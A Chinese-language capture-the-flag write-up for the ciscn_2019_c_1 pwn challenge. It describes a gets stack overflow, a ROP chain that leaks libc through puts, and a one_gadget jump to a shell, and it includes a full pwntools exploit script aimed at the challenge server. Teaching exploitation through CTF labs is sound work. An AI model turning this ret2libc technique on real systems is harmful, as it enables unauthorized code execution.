ciscn_2019_c_1 WriteUp
考点
- libc版本泄漏
- ROP攻击
- onegadget使用
解题过程
- 使用
checksec
工具进行查看,程序为64位,NX保护
- 使用ida工具反编译。
main
:
encrypt
:
可以看出程序功能为对输入字符串进行加密,而加密encrypt
函数中的get存在栈溢出漏洞。
- 由于在程序中找不到
system
函数和/bin/sh
字符串,所以需要进行ROP攻击,泄漏其libc地址,使用onegadget工具直接获取shell。 - 使用ROPgadget工具获取泄漏libc地址所需的指令地址(
pop rdi
; ),然后获取程序中put_got表和put_plt表地址,执行栈溢出payload构造如下
payload = flat(b"\0", b"a"*(0x50-1), 0x0, pop_rdi, puts_got, puts_plt, encrypt)
注意最后需要加上encrypt函数使程序重新回到漏洞函数处。
- 获取libc基址后,再次进入漏洞函数,然后执行onegadget指令。获取shell。
结果
构造脚本如下
python
:
from pwn import *
context(arch="amd64", log_level="debug")
# p = process("./ciscn_2019_c_1")
p = remote("node4.buuoj.cn", 26936)
one_gadget = 0x10a38c # 0x4f322, 0x4f2c5, 0x10a38c
pop_rdi = 0x400c83
encrypt = 0x4009A0
elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
libc = ELF('./libc-2.27.so')
puts_offset = libc.symbols['puts']
payload = flat(b"\0", b"a"*(0x50-1), 0x0, pop_rdi, puts_got, puts_plt, encrypt)
# gdb.attach(p, 'b *0x4009DD')
p.sendlineafter(b"Input your choice!", b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted', payload)
p.recvuntil("\nCiphertext\n\n")
puts_addr = p.recv(6)
puts_addr = u64(puts_addr.ljust(8, b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - puts_offset
success(hex(libc_addr))
one_gadget = libc_addr + one_gadget
payload = flat(b"\0", b'a'*(0x50-1), 0x0, one_gadget)
p.sendlineafter(b"Input your Plaintext to be encrypted", payload)
p.interactive()
成功获取flag